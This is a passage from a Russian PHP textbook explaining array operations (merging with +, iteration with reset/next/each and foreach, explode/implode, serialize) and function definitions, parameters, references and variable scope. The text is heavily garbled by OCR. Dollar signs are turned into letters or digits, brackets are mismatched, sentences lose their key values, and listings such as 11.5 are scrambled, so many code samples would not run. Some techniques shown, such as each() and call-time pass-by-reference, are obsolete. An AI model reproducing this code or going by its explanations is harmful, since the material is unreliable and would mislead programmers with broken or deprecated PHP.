Как же добраться до нужного нам элемента в нашем массиве? Нетрудно догадаться по аналогии с другими языками:

echo $Names["Ivanov"]["age"];// напечатает "25"

echo SNames["Petrova"]["bad"] ; // ошибка: нет такого элемента "bad"

Довольно несложно, не правда ли? Кстати, мы можем видеть, что ассоциативные массивы в РНР удобно использовать как некие структуры, хранящие данные. Это похоже на конструкцию struct в Си (или record в Паскале). Пожалуй, это единственный возможный способ организации структур, но он очень гибок.

Операции над массивами

Существует довольно много операций, которые можно выполнять с массивами (в дополнение к общим операциям над переменными). Давайте перечислим их, а заодно и подытожим все сказанное выше.

Доступ по ключу

Как мы уже знаем, ассоциативные массивы — объекты, которые наиболее приспособлены для выборки из них данных путем указания нужного ключа. В РНР и для всех массивов, и для списков (которые, еще раз напомню, также являются массивами) используется один и тот же синтаксис, что является очень большим достоинством. Вот как это выглядит:

echo $Arr["anykey"]; // выводит элемент массива $Arr с ключом anykey echo $Arr["first"] ["second"]; // так используются двумерные массивы

echo (SomeFuncThatReturnsArray())[5]; // ОШИБКА! Так нельзя!

// Вот так правильно:

$Arr= SomeFuncThatReturnsArray();

echo 5Arr[5];

Последний пример показывает, что РНР сильно отличается от Си с точки зрения работы с массивами: В нем нет такого понятия, как "контекст массива", а значит, мы не можем применить [ ] непосредственно к значению, возвращенному функцией.

Величина $Arr[ключ) является полноценным "левым значением", т. е. может стоять в левой части оператора присваивания, от нее можно брать ссылку с помощью оператора &, и т. д. Например:

$Arr("anykey")=array(100,200) ; // присваиваем элементу массива 100

$ref=&$Arr["first")("second") ; // $ref — синоним элемента массива

$Arr[]=”for add"; // добавляем новый элемент

Функция count()

Мы можем определить размер (число элементов) в массиве при помощи стандартной функции count о :

$num=count($Names);// теперь в Snum — число элементов в массиве

Сразу отмечу, что count () работает не только с массивами, но и с объектами и даже с обычными переменными (для последних count () всегда равен 1, как будто переменная — это массив с одним элементом). Впрочем, ее очень редко применяют для чего-либо, отличного от массива — разве что по-ошибке.

Слияние массивов

Еще одна фундаментальная операция — слияние массивов, т. е. создание массива, содержащего как элементы одного, так и другого массива. Реализуется это при помощи оператора +. Например:

$a=array("a"=>"aa", "b"=>"bb"); $b=array("c"->"cc", "d"=>"dd"); $c=Sa+$b;

В результате в $с окажется ассоциативный массив, содержащий все 4 элемента, а именно: array("a"=>"aa", "b"=>"bb", "c"=>"cc", "d"=>"dd"), причем именно в указанном порядке. Если бы мы написали $c=$b+$a, результат бы был немного другой, а именно: array("c"=>"cc", "d"=>"dd", '.'a"=>"aa", "b"=>"bb"), T. e. элементы расположены в другом порядке. Видите, как проявляется направленность массивов? Она заставляет опера-

тор + стать некоммутативным, т. е.не равно $ь+$а, если $а и -

массивы.

Будьте особенно внимательны при слиянии таким образом списков. Рассмотрим следующие операторы:

$a=array(10,20,30);

$b=array(100,200);

$c=$a+$b;

Возможно, вы рассчитываете, что в $с будетЭто

неверно: там окажетсяВот почему так происходит. При

конкатенации массивов с некоторыми одинаковыми элементами (то есть, элементами с одинаковыми ключами) в результирующем массиве останется только один элемент с таким же ключом — тот, который был в первом массиве, и на том же самом месте.

Последний факт может слегка озадачить. Казалось бы, элементы массива по логике должны заменить элементы из $а. Однако все происходит наоборот. Окончательно выбивает из колеи следующий пример:

$a=array('a'=>10, 'b'->20);

' ) $a+=$b;

Мы-то ожидали, что оператор += обновит элементы $а при помощи элементов $ь. А напрасно. В результате этих операций значение $а

Если вы не верите своим глазам, можете проверить.

Так как же нам все-таки обновить элементы в массивеПолучается,

только прямым способом — с помощью цикла (на самом деле, в РНР4 добавлена специальная функциялишенная указанного недос

татка — о ней мы поговорим в главе 13):

($b as $k=>$v) $a[$k]=$v;

Что поделать, так уж распорядились разработчики РНР.

Еще несколько слов насчет операции слияния массивов. Цепочка $z=$a+$b+$c+...и т. д.;

эквивалентна

т. д.

Как нетрудно догадаться, оператор += для массивов делает примерно то же, что и оператор += для чисел, а именно — добавляет в свой левый операнд элементы, перечисленные в правом операнде-массиве, если они еще не содержатся в массиве слева.

Итак, в массиве никогда не может быть двух элементов с одинаковыми ключами, потому что все операции, применимые к массивам, всегда контролируют, чтобы этого не произошло. Впрочем, на мой взгляд, данное

свойство вовсе не достоинство, а недостаток — вполне можно было бы позволить оператору + оставлять одинаковые ключи, а всем остальным — запретить это делать. Что ж, разработчики РНР "пошли другим путем"...

Внимание

Так как списки являются тоже ассоциативными массивами, оператор + будет работать с ними неправильно! Например, в результате слияния списков array(10,20) И array(100,200, 300} получится списокarray(10,20,300) — всего из трех элементов! Согласитесь, ведь это совсем не то, что вы ожидали увидеть, не правда ли?..

Косвенный перебор элементов массива

Довольно часто при программировании на РНР нам приходится перебирать все без исключения элементы некоторого массива. Если наш массив — список, то эта задача, как мы уже знаем, не будет особенно обременительной:

// Пусть SNames — список имен. Распечатаем их в столбик

for($1=0; $i<count(SNames); $i++)

echo SNames[$i] ."\n";

Я стараюсь везде, где можно, избегать помещения имени переменной- массива в кавычки — например, предыдущий пример я не пишу вот так:

for ($1=0; $i<count(SNames); $i++)

echo "SNames[Si]\n";

Дело в том, что это, пожалуй, единственный способ, который совместим с РНР версии 3. А что касается четвертой версии, то мы спокойно можем помещать массивы в строки, заключив их в фигурные скобки вместе с символом $:

$Names=array(

array('name'=>'Вася', 'age'=>20),

array Сname'=>'Билл', 'age'=>40)

) ;

for($i=0; $i<count (SNames); $i++)

echo "(SNames[$i] [' age']}\n";

Давайте теперь предположим, что массив SNames ассоциативный: его ключи — имена людей, а значения, сопоставленные ключам — например, возраст этих людей. Для перебора такого массива можно воспользоваться конструкцией наподобие следующей:

for (Reset (SNames) ; ($k=key(SNames) ) ; Next (SNames) )

echo "Возраст $k — (SNames [$k] } лет\п";

Эта конструкция опирается на еще одно свойство ассоциативных массивов в РНР. А именно, мало того, что массивы являются направленными, в них есть еще и такое понятие, как текущий элемент. Функция Reset о просто устанавливает этот элемент на первую позицию в массиве. Функция key о возвращает ключ, который имеет текущий элемент (если он указывает на конец массива, возвращается пустая строка, что позволяет использовать вызов key о в контексте второго выражения for). Ну а функция Next о просто перемещает текущий элемент на одну позицию вперед.

На самом деле, две простейшие функции, — Reset () и Next (), — помимо выполнения своей основной задачи, еще и возвращают некоторые значения, а именно:

функция Reset о возвращает значение первого элемента массива (или пустую строку, если массив пуст);

функция Next () возвращает значение элемента, следующего за текущим (или пустую строку, если такого элемента нет).

Иногда (кстати, гораздо реже) бывает нужно перебрать массив с конца, а не с начала. Для этого воспользуйтесь такой конструкцией:

for(End($Names); ($k=key($Names)); Prev($Names))

echo "Возраст $k — {$Names[$k]} лет\п";

По контексту несложно сообразить, как это работает. Функция End () устанавливает позицию текущего элемента в конец массива, a Prev () передвигает ее на один элемент назад.

И еще. В РНР имеется функция current () ■ Она очень напоминает key ( ) ! только возвращает не ключ, а величину текущего элемента (если он не указывает на конец массива).

Недостатки косвенного перебора

Давайте теперь поговорим о достоинствах и недостатках такого вида перебора массивов. Основное достоинство - "читабельность" и ясность кода, а также то, что массив мы можем перебрать как в одну, так и в другую сторону. Однако существуют и недостатки.

Вложенные циклы

Первый недостаток довольно фундаментален: мы не можем одновременно перебирать массив в двух вложенных циклах или функциях. Причина вполне очевидна: второй вложенный for "испортит" положение текущего элемента у первого for'a. К сожалению, эту проблему никак нельзя обойти (разве что сделать копию массива, и во внутреннем цикле работать с ней, но это не очень-то красиво). Однако практика показывает, что такие переборы встречаются крайне редко.

Нулевой ключ

А что, если в массиве встретится ключ 0 (хотя для массивов имен это, согласитесь, маловероятно)? Давайте еще раз посмотрим на первый цикл перебора:

for(Reset(SNames); ($k=key($Names)); Next(SNames)j

echo "Возраст $k - ($Names[$k]} лет\п";

В этом случае выражениеестественно, будет равно нулю,

и цикл оборвется, чего бы нам совсем не хотелось.

Именно по этим причинам разработчики РНР придумали другой, хотя и менее универсальный, но гораздо более удобный метод перебора массивов, о котором сейчас и пойдет речь.

Прямой перебормассива

В отличие от косвенного перебора (когда сначала вычисляется очередной ключ, а уж затем по нему косвенно находится значение элемента массива), прямой перебор лаконичнее и гораздо более прост. Идея метода заключается в том, чтобы сразу на каждом "витке" цикла одновременно получать и ключ, и значение текущего элемента.

Классический перебор

Давайте опять вернемся к нашему примеру, в котором массив $Names хранил связь имен людей и их возрастов. Вот как можно перебрать этот массив при помощи прямого перебора:

for(Reset($Names); list($k, $v)=each($Names); /*пусто*/)

echo "Возраст $k — $v\n";

В самом начале заголовка цикла мы видим нашу старую знакомую Reset Дальше переменным $k и $v присваивается результат работы функции eachТретье условие цикла попросту отсутствует (чтобы это подчеркнуть,

я включил на его место комментарий).

Что делает функция each ? Во-первых, возвращает небольшой массив (я бы даже сказал, список), нулевой элемент которого хранит величину ключа текущего элемента массиваа первый — значение текущего элемен

та. Во-вторых, она продвигает указатель текущего элемента к следующей позиции. Следует заметить, что если следующего элемента в массиве нет, то функция возвращает не список, a false. Именно поэтому она и размещена в условии цикла for. Становится ясно, почему мы не указали третий блок операторов в цикле for: он просто не нужен, ведь указатель на текущий элемент и так смещается функцией each

Перебор в стиле РНР 4

Прямой перебор массивов применялся столь часто, что разработчики РНР решили в четвертой версии языка добавить специальную инструкцию перебора массива — foreach. Мы уже рассматривали ее ранее. Вот как с ее помощью можно перебрать и распечатать наш массив людей:

foreach($Names as $k=>$v) echo "Возраст $k — $v\n";

Просто, не правда ли? Рекомендую везде, где не требуется совместимость с РНР третьей версии, использовать именно этот способ перебора, поскольку он работает с максимально возможной скоростью — даже быстрее, чем перебор списка при помощи for и числового счетчика.

Замечание )

Есть и еще одна причина предпочесть этот вид перебора "связке" цикла for с each ( ) • Дело в том, что при применении foreach мы указываем имя перебираемого массива $ Names только в одном месте, так что когда вдруг потребуется это имя изменить, нам достаточно будет поменять его только один раз. Наоборот, использование Reset и each о заставит нас в таком случае изменять название переменной в двух местах, что потенциально может привести к ошибке. Представьте, что произойдет, если мы случайно изменим операнд each (), но сохраним параметр Reset () !

Списки и строки

Есть несколько функций, которые чрезвычайно часто используются при программировании сценариев. Среди них — функции для разбиения какой-либо строки на более мелкие части (например, эти части разделяются в строке каким-то специфическим символом типа I), и, наоборот, слияния нескольких небольших строк в одну большую, причем не впритык, а вставляя между ними разделитель. Первую из этих возможностей реализует стандартная функция explode (), а вторую — implode (). Рекомендую обратить особое внимание на указанные функции, т. к. они применяются очень часто.

Функция explode () имеет следующий синтаксис:

list explode(string $token, string $Str [, int $limit])

Она получает строку, заданную в ее втором аргументе, и пытается найти в ней подстроки, равные первому аргументу. Затем по месту вхождения этих подстрок строка "разрезается" на части, помещаемые в массив-список, который и возвращается. Если задан параметр $limit, то учитываются только первые ($limit-l) участков "разреза". Таким образом, возвращается список из не более чем $ limit элементов. Это позволяет нам проигнорировать воз-

наличие разделителя в тексте последнего поля, если мы знаем, что всего полей, скажем, 6 штук. Вот пример:

содержащий (|)

// Мы знаем, что там только 6

// теперь$А[5]= "Текст, содержащий

// распределилипеременным

Конечно, строкой разбиения может быть не только один символ, но и небольшая строка. Не перепутайте только порядок следования аргументов при вызове функции!

Функция implode о и ее синонимо производят действие, в точности

обратное вызову explode

string$glue, list $List) или

stringlist

Они берут ассоциативный массив (обычно это список)заданный в ее

первом параметре, и "склеивают" его значения при помощи "строки-клея" $glue во втором параметре. Примечательно, что вместо списка во втором аргументе можно передавать любой ассоциативный массив — в этом случае будут рассматриваться только его значения.

Рекомендую вам чаще применять функции implode о и explode о, а не писать самостоятельно их аналоги. Работают они очень быстро.

Сериализация

Возможно, после прочтения описания функций implode о и explode о вы обрадовались, насколько просто можно сохранить массив, например, в файле, а затем его оттуда считать и быстро восстановить. Если вас посетила такая мысль, то, скорее всего, вы уже успели в ней разочароваться: во-первых, таким образом можно сохранять только массивы-списки (потому что ключи в любом случае теряются), а во-вторых, ничего не выйдет с многомерными массивами.

Давайте теперь предположим, что нам все-таки нужно сохранить какой-то массив (причем неизвестно заранее, сколько у него измерений) в файле, чтобы потом, при следующем запуске сценария, его аккуратно загрузить и продолжить работу. Можно, конечно, начинать писать универсальную рекурсивную функцию для упаковки массива в строку (ведь в файлы можно писать только строки), и еще одну, которая будет эту строку разбирать и восстанавливать на ее основе массив в исходном виде.

|^ Примечание

Рекомендую проделать это в качестве упражнения, заодно постарайтесь добиться, чтобы упакованные данные занимали минимум объема. Это пригодится вам в будущем, при работе с Cookies.

Однако вскоре вы поймете, что все не так просто в РНР, в котором работа со ссылочными переменными очень и очень ограничена. Особенно будет тяжело с функцией распаковки строки.

И тут нам на помощь опять приходят разработчики РНР. Оказывается, обе функции давным-давно реализованы, причем весьма эффективно со стороны быстродействия (но, к сожалению, непроизводительно с точки зрения объема упакованных данных). Называются они, соответственно, serialize о и Unserialize().

Функция serialize о возвращаетявляющуюся упакованным экви

валентом некоего объекта $obj, переданного во втором параметре.

string$0bj)

При этом совершенно не важно, что это за объект: массив, целое число. Да что угодно. Например:

(

$st=Serialize($A);

echo

// выведется что-то типа нечто:

//

а: 2:(s: 1:"а";s:2:"аа";s: 1:"b";s:2:"bb";s:1:"c"; a: 1:(s:1:"x";s:2:"xx";))

Вообще-то, я не уверен, что в будущих версиях РНР такой формат "упаковки" сохранится неизменным, хотя это очень и очень вероятно.

Функция Unserialize о, наоборот, принимает в лице своего параметра $st строку, ранее созданную при помощи serialize о, и возвращает целиком объект, который был упакован.

mixed$st)

Например:

$a=array(1,2,3);

$s=Serialize($a);

$a="bogus";

echo count ($a);// выводит 1

$a=Unserialize($s);

echo count (Sa);// выводит 3

Еще раз отмечу:можно не только массивы, но и вообще что

угодно. Однако в большинстве случаев все-таки используются массивы. Механизмчасто применяется также и для того, чтобы сохранить

какой-то объект в базе данных, и тогда без сериализации практически не обойтись.

Глава 11

Функции и области видимости

По синтаксису описания функций РНР, на мой взгляд, довольно близок к идеальной концепции, которую многие программисты лелеют в своем воображении. Вот несколько основных достоинств этой концепции:

вы можете использовать параметры по умолчанию (а значит, функции с переменным числом параметров);

области видимости переменных внутри функций представляются в древовидной форме, как и в других языках программирования;

существует удобная инструкция return, которой так не хватает в Паскале;

тип возвращаемого значения может быть любым;

□ как мы увидим дальше, функции можно использовать не только по их прямому назначению, но и для автоматизации создания "библиотекарей" и даже написания своего собственного интерфейса библиотечных файлов.

К сожалению, разработчики РНР не предусмотрели возможность создания локальных функций (то есть одной внутри другой), как это сделано, скажем, в Паскале или в Watcom C++. Однако кое-какая эмуляция локальных функций все же есть: если функцию в () определить в теле функции АО, то она, хоть и не став локальной, все же будет "видна" для программы ниже своего определения. Замечу для сравнения, что похожая схема существует и в языке Perl. Впрочем, как показывает практика программирования на Си (вот уже 30 лет), это не такой уж серьезный недостаток.

В системе определения функций в РНР есть и еще один небольшой недочет, который особенно неприятен тем, кто до этого программировал на других языках. Дело в том, что все переменные, которые объявляются и используются в функции, по умолчанию локальны для этой функции. При этом существует только один (и при том довольно некрасивый) способ объявления глобальных переменных — инструкция global (на самом деле есть и еще один, через массив $GLOBALS, но об этом чуть позже). С одной стороны, это повышает надежность функций в смысле их независимости от основной программы, а также гарантирует, что они случайно не изменят и не

создадут глобальных переменных. С другой стороны, разработчики РНР вполне могли бы предугадать нужность инструкции, по которой все переменные функции становились бы по умолчанию глобальными — это существенно упростило бы программирование сложных сценариев.

Пример функции

Как водится, сразу начну с примера. Предположим, нам необходимо в программе очень часто находить в массиве-списке наибольший элемент, который в то же время меньше какого-то, наперед заданного числа. А именно, нас интересует его номер в массиве (если такого числа в массиве нет, то номер полагается равным -1). Напишем для этой цели функцию (такое описание называется определением функции, и оно, конечно, должно быть единственным в пределах сценария).

Листинг 11.1. Пример функции

function GetMaxNum($arг, $max="")

{ // проходимся по всем элементам массива

for($i=0,$n=-l; $i<count($arr) ; $i++) {

// если этот элемент нам пока подходит, запоминаем его

if ( ( !Isset($m) |I $arr[$i]>$m) && ($max==="" || $arr [$i] <$max) ) { // сюда мы попадаем, когда очередной элемент больше текущего, // либо же текущего элемента еще не существует (первый проход) $m=$arr[$i]; // запоминаем текущий элемент $n=$i;// запоминаем его номер

)

}

return $n;

}

В отличие от других языков программирования, функцию можно задавать не только в определенном месте программы, но и прямо среди других операторов. Например, вполне можно было бы поместить нашу функцию GetMaxNum() прямо в середину кода, скажем, так:

echo "Программа...";

function GetMaxNum($arr,$max)

{ тело функции

)

echo "Программа продолжается!";

ЗамечаниеЗамечание))

Замечание

Замечание

)

)

При таком подходе транслятор, дойдя до определения функции, просто проверит его корректность и оттранслирует во внутреннее представление, но не будет генерировать код для выполнения, а сразу переключится на следующие за телом функции команды. Только потом, при вызове функции, интерпретатор начнет исполнять ее команды...

Итак, мы создали функцию с именем GetMaxNumo и двумя параметрами, первый из которых рассматривается ей как массив, а второй — как вещественное число.

Внимание

На самом деле на этапе создания функции еще никаких предположений о типах параметров не строится. Однако попробуйте нашей функции вместо массива в первом аргументе передать число — интерпретатор "заругается", как только выполнение дойдет до строчки с Sarr[$i], и скажет, что "переменная не является массивом".

Алгоритм работы функции таков: в цикле анализируем очередной элемент на предмет "максимальности": если он больше текущего максимального элемента, но меньше $max, он сам становится текущим максимумом, а его положение запоминается в $п. (Обратите внимание, что в описании функции параметр $max задается в виде $max="". Это означает, что если при вызове он будет опущен, то функция получит пустую строку в $max.) После окончания цикла в $п окажется номер такого элемента (либо число -I, которое мы присвоили $п в начале). Его-то мы и возвращаем в качестве значения функции оператором return.

Ну вот, теперь в программе ниже описания функции можно написать:

$a=array(10,20,80,35,22,57);

$m=GetMaxNum($a,50); // теперь $m=3, т. е. $a[$m]=35

( Замечание )

В действительности, поскольку фаза трансляции и исполнения в РНР разделены, мы можем применять вызовы функции еще до того, как она была описана. Однако это работает, конечно же, только в том случае, когда в момент интерпретации вызова функции ее код будет уже оттранслирован (например, вызов и описание функции происходят в одном и том же файле). Тем не менее, не советую вам злоупотреблять данной возможностью — лучше всегда поступать так, как это принято в Паскале: вызывать функции только после того, как они будут определены.

Зачем может понадобиться функция GetMaxNumo в реальной жизни? Например, для сортировки массива в порядке убывания с одновременным получением уникальных элементов. Конечно, это будет очень неопти-

мальный алгоритм, но для тренировочных целей он нам вполне подойдет (листинг 11.2):

Листинг 11.2. Сортировка с применениемj

function MySort($Arr)

{ $m= GetMaxNum($Arr)+1; // число, на 1 большее максимума в массиве

while(($n=GetMaxNum($Arr, $m))!=-l)

$New[j=$m=$Arri$nj ;// добавляем очередной максимальный элемент

return $New;

}

// Пример вызова:

$Sorted=MySort(array(1,2,5,2,4,7,3,7,81 );

// Теперь $Sorted===array(8,7,5,4,3,2, 1)

Приведенная функция не изменяет исходный массив, а возвращает новый. В силу устройства функции GetMaxNumO в результирующий массив будут помещены только уникальные элементы из $Arr, отсортированные в порядке убывания.

( Замечание)

Функцию MySort () можно ускорить примерно в 2 раза, если после каждой итерации удалять из массива $Arr обработанный элемент при помощи unset (). Впрочем, это не так интересно, как может показаться.

Общий синтаксис определения функции

В общем виде синтаксис определения функции таков:

function имя_функции(aprl[=зн1], арг2[=зн2], ... aprN[=3hN])

{ операторы_тела_функции;

}

Имя функции должно быть уникальным с точностью до регистра букв. Это означает, что, во-первых, имена MyFunction, myfunction и даже MyFuNcTiOn будут считаться одинаковыми, и, во-вторых, мы не можем переопределить уже определенную функцию (стандартную или нет — не важно), но зато можем давать функциям такие же имена, как и переменным в программе (конечно, без знака $ в начале). Список аргументов, как легко увидеть, состоит из нескольких перечисленных через запятую переменных, каждую из которых мы должны будем задать при вызове функции (впрочем, когда для

этой переменной присвоено через знак равенства значение по умолчанию (обозначенное =знм), ее можно будет опустить; см. об этом чуть ниже). Конечно, если у функции не должно быть аргументов вовсе (как это сделано у функции time ()) , то следует оставить пустые скобки после ее имени, например:

function SimpleFunction() {}

В фигурные скобки заключается тело функции. В нем могут быть любые операторы, включая даже операторы определения других функций (правда, эти "другие функции" не будут локальными, как в Паскале, а станут далее "видны" для всей программы, но только с того момента, как до их описания дойдет управление — об этом мы еще поговорим). Если функция должна возвращать какое-то значение, что среди них должен встретиться оператор return, который мы сейчас рассмотрим. Если же она должна отработать без возврата значений (то есть, выражаясь в терминах Паскаля, это не функция, а процедура), то оператор return можно и не указывать (или указывать без задания возвращаемого значения).

Инструкция return

Синтаксис оператора return абсолютно тот же, что и в Си, за исключением одной очень важной детали. Если в Си функции очень редко возвращают большие объекты (например, структуры), а массивы они не могут возвратить вовсе (это явный прокол в концепции Си), то в РНР можно использовать return абсолютно для любых объектов (какими бы большими они ни были), причем без заметной потери быстродействия. Вот пример простой функции, возвращающей квадрат своего аргумента:

function MySqrt($n)

{ return $n*$n;

}

echo MySqrt(4) ;// выводит 16

Сразу несколько значений функции, разумеется, возвратить не могут. Однако, если это все же очень нужно, то можно вернуть ассоциативный массив или же список, например так (листинг 11.3):

Листинг 11.3. Возвращение массива

function Silly()

{ return array(1,2,3);

}

// присваивает массиву значение array(1,2,3) $arr=Silly();

/ / присваивает переменным $а, $b, $с первые значения из списка list($a,$b,$c)«Silly();

В этом примере использован оператор list о, который мы уже рассматривали.

Если функция не возвращает никакого значения, т. е. инструкции return в ней нет, то считается, что функция возвратила ложь (то есть, false). Все же часто лучше вернуть false явно (если только функция не объявлена как процедура, или void-функция по Си-терминологии), например, задействуя return false, потому что это несколько яснее.

Параметры по умолчанию

Часто бывают такие случаи, что у некоторой разрабатываемой функции должно быть довольно много параметров, причем некоторые из них будут задаваться совершенно единообразно. Например, мы пишем функцию для сортировки массива. Тогда, кроме очевидного параметра — массива — хотелось бы также задавать и второй параметр, который бы указывал: сортировать ли в убывающем или в возрастающем порядке. При этом, скажем, мы знаем, что чаще всего придется сортировать в порядке убывания. В этом случае мы можем оформить нашу функцию так:

function MySort (&$Arr, $NeedLoOrder=l)

{ сортируем в зависимости от $NeedLoOrder.. .

}

Теперь, имея такую функцию, можно написать в программе:

MySort(Smy_array,0);// сортирует в порядке возрастания

MySort ($my_array) ;// второй аргумент задается по умолчанию!

То есть, мы можем уже вообще опустить второй параметр у нашей функции, что будет выглядеть так, как будто мы его задали равным 1. Как видно, значение по умолчанию для какого-то аргумента указывается справа от него через знак равенства. Заметьте, что значения аргументов по умолчанию должны определяться справа налево, причем недопустимо, чтобы после любого из таких аргументов шел обычный "неумолчальный аргумент. Вот, например, неверное описание:

/ / Ошибка!

function MySort($NeedLoOrder=l, &$Arr)

f

сортируем в зависимости от SNeedLoOrder...

}

MySort(,$my_array); // Ошибка! Это вам не Бейсик!

Передача параметров по ссылке

Давайте рассмотрим механизм, при помощи которого функции передаются ее аргументы. Пусть, например, у нас есть такая программа:

function Test($a)

{ echo "$a\n";

$a++;

echo "$a\n";

}

$num=10;

Test($num); echo $num;

Что происходит перед началом работы функции Test о (которая, кстати, не возвращает никакого значения, т. е. является в чистом виде подпрограммой или процедурой) — как выражаются программисты на Паскале? Все начинается с того, что создается переменная $а, локальная для данной функции (про локальные переменные мы поговорим позже), и ей присваивается значение 10 (то, что было в $num). После этого значение 10 выводится на экран, величина $а инкрементируется, и новое значение (И) опять печатается. Так как тело функции закончилось, происходит возврат в вызвавшую программу. А теперь вопрос: что будет напечатано при последующем выводе переменной $num? А напечатано будет 10 (и это несмотря на то, что в переменной $а до возврата из функции было 11!) Ясно, почему это происходит: ведь $а — лишь копия $num, а изменение копии, конечно, никак не отражается на оригинале.

В то же время, если мы хотим, чтобы функция имела доступ не к величине, а именно к самой переменной (переданной ей в параметрах), достаточно при передаче аргумента функции перед его именем поставить & (листинг 11.4):

Листинг 11.4. Передача параметров по ссылке (первый способ)

function Test($a) { echo "$a\n";

$a++;

echo "$a\n";

}

$num=10;// $num=10

Test(&$num) ;// а теперь $num=ll1

echo $num;// выводит 11!

Такой способ передачи параметров исторически называется "передачей по ссылке", в этом случае аргумент не является копией переменной, а "ссылается" на нее. В седьмой главе мы уже имели дело со ссылками. Вы заметить, что передача параметра по ссылке полностью соответствует синтаксису задания ссылочной переменной в РНР.

Чтобы не забывать каждый раз писать & перед переменной, передавая ее. функции, существует и другой, более привычный для программистов на Си++ синтаксис передачи по ссылке. А именно, можно символ & перенести прямо в заголовок функции, вот так (листинг

| Листинг 11.5. Передача параметров по ссылке (второй способ)

function

{ echo

$3"**+;

echo

//// а теперь// выводит 11!//// а теперь// выводит 11!$num=10;

//

// а теперь

// выводит 11!

//

// а теперь

// выводит 11!

Test($num); echo

Советую вам, если вы абсолютно точно уверены в необходимости передачи параметра именно по ссылке, использовать именно этот синтаксис, т. к. он значительно более "прозрачен" и, к тому же, убережет вас от множества ошибок, связанных с пропуском & в программе.

Замечание

Теперь, если вы в программе запустите функцию Test передав ей в параметрах не переменную (или ячейку массива), а непосредственное значение (например, константу 100), это у вас не получится: РНР выведет сообщение об ошибке. Таким образом, в качестве параметров, передаваемых по ссылке, можно задавать только переменные, но не непосредственные значения.

Переменное число параметров

Как мы уже знаем, функция может иметь несколько параметров, заданных по умолчанию. Они перечисляются справа налево, и их всегда фиксированное количество. Однако иногда такая схема нас устроить не может. Например, пусть мы захотели написать функцию в стиле echo, т. е., функцию, которая принимает один или более параметров (сколько именно — неизвестно на этапе определения функции). Пусть она должна вывести эти параметры "лесенкой" - каждый следующий на новой строке с отступом от предыдущего (согласен, пример немного надуман, но все же вполне подходит для

иллюстрации функций с переменным количеством параметров). Вот как мы можем это сделать (листинг 11.6):

11

Листинг 11.6. Переменное число параметров функции

functionmyecho()

( for($i=0; $i<func_num_args ()? $i++) {

for(5j=0; $j<$i; $j++) echo "&nbsp;"; // выводим отступ echo func_get_arg($i) . "<br>\n";// выводим элемент

}

)

// отображаем строки "лесенкой"

myecho ("Меркурий", "Венера", "Земля", "Марс");

Обратите внимание на то, что при описании myecho () мы указали пустые скобки в качестве списка параметров, словно функция не получает ни одного параметра. На самом деле в РНР при вызове функции можно указывать параметров больше, чем задано в списке аргументов — в этом случае никакие предупреждения не выводятся (но если фактическое число параметров меньше, чем указано в описании, РНР выдаст сообщение об ошибке). "Лишние" параметры как бы игнорируются, в результате пустые скобки в myecho () позволяют нам в действительности передать ей сколько угодно параметров.

Для того чтобы все же иметь доступ к "проигнорированным" параметрам, существуют три встроенные в РНР функции, которые я сейчас подробно опишу. □ int func_num_args()

Возвращает общее число аргументов, переданных функции при вызове.

□ mixed func_get_arg(int $num)

Возвращает значение аргумента с номером $num, заданного при вызове функции. Нумерация, как всегда, отсчитывается с нуля.

□ list func_get_args()

Возвращает список всех аргументов, указанных при вызове функции. Думаю, что применение этой функции оказывается практически всегда удобнее, чем первых двух.

Перепишем наш пример с применением последней функции (листинг 11.7):

| Листинг 11.7. Использованиеfuct_get_args()

function myecho ( )

{ foreach(func_get_args() as $v) {

for($j=0; $j<@$i; $j++) echo "&nbsp;";

echo "$v<br>\n";

@$i++;

// выводим строки "лесенкой"

myecho ("Меркурий", "Венера", "Земля", "Марс");

Мы используем здесь цикл foreach для перебора аргументов, а также оператор отключения ошибок @, чтобы РНР не "ругался" на то, что переменная $ i не определена при первом "обороте" цикла.

Локальные переменные

Наконец-то мы подошли вплотную к вопросу о "жизни и смерти" переменных. Действительно, во многих приводимых выше примерах мы рассматривали аргументы функции (передаваемые по значению, а не по ссылке) как некие временные объекты, которые создаются в момент вызова и исчезают после окончания функции. Например (листинг 11.8):

Листинг 11.8. Локальные переменные (параметры)

$а=100; // Глобальная переменная, равная 100

function Test ($a)

{ echo $a; // выводим значение параметра $а

// Этот параметр не имеет к глобальной $а никакого отношения!

$a+4-; // изменяется только локальная копия значения, переданного в $а

}

Test (1) ;// выводит 1

echo $a; // выводит 100 — глобальная $а, конечно, не изменилась

В действительности такими же свойствами будут обладать не только аргументы, но и все другие переменные, инициализируемые или используемые внутри функции. Вот пример (листинг 11.9):

Листинг 11.9. Локальные переменные

function SillyO

{ $i=rand();// записывает в $i случайное число

echo Si;// выводит его на экран

// Эта $i не имеет к глобальной $ i никакого отношения

)

for($1=0; $i!=10; $i++) Silly О;

Здесь переменная $i в функции будет не той переменной $i, которая используется в программе для организации цикла. Поэтому, собственно, цикл и проработает только 10 "витков", напечатав 10 случайных чисел (а не будет крутиться долго и упорно, пока "в рулетке" функции rand () не выпадет 10.

Собственно говоря, это нас устраивает. Действительно, мало ли какие имена переменных использует функция для своих личных целей... Какое до этого дело программе (которая вообще может быть написана другим человеком)? Вот и получается, что каждая функция - "узник" в своем тесном мирке, живущий и обменивающийся с "окружающим миром" через свои параметры и возвращаемое значение.

Глобальные переменные

Если вы, прочитав последние строки, уже начали испытывать сочувствие к функциям в РНР (или, если вы прикладной программист, сочувствие к разработчикам РНР), то спешу вас заверить: разумеется, в РНР есть способ, посредством которого функции могут добраться и до любой глобальной переменной в программе (не считая, конечно, передачи параметра по ссылке). Однако для этого они должны проделать определенные действия, а именно: до первого использования в своем теле внешней переменной объявить ее "глобальной" (листинг 11.10):

Листинг 11.10. Использование global

function SillyO

{ global $i;

$i=rand();

echo $1;

}

for($1=0; $i!=10; $i++) SillyO ;

Вот теперь-то переменная $i будет везде едина: что в функции, что во внешнем цикле (для последнего это приведет к немедленному его "зацикливанию", во всяком случае, на ближайшие несколько минут, пока rand () не выкинет 9). А вот еще один пример, который показывает удобство использования глобальных переменных внутри функции (листинг 11.11):

Листинг 11.11. Пример функции

$Monthes[1]="Январь";

$Monthes[2]-"Февраль"

и т. д.

$Monthes[12]="Декабрь";

// Возвращает название месяца по его номеру. Нумерация начинается с 1! function GetMonthName($n)

{ global $Monthes;

return $Monthes[$n];

echo GetMonthName (2) ; // выводит "Февраль"

Согласитесь, массив $Monthes, содержащий названия месяцев, довольно объемист. Поэтому описывать его прямо в функции было бы, мягко говоря, неудобно. В то же время функция GetMonthName () представляет собой довольно преемлемое средство для приведения номера месяца к его словесному эквиваленту (что может потребоваться во многих программах). Она имеет единственный и понятный параметр: это номер месяца. Как бы мы это сделали без глобальных переменных?

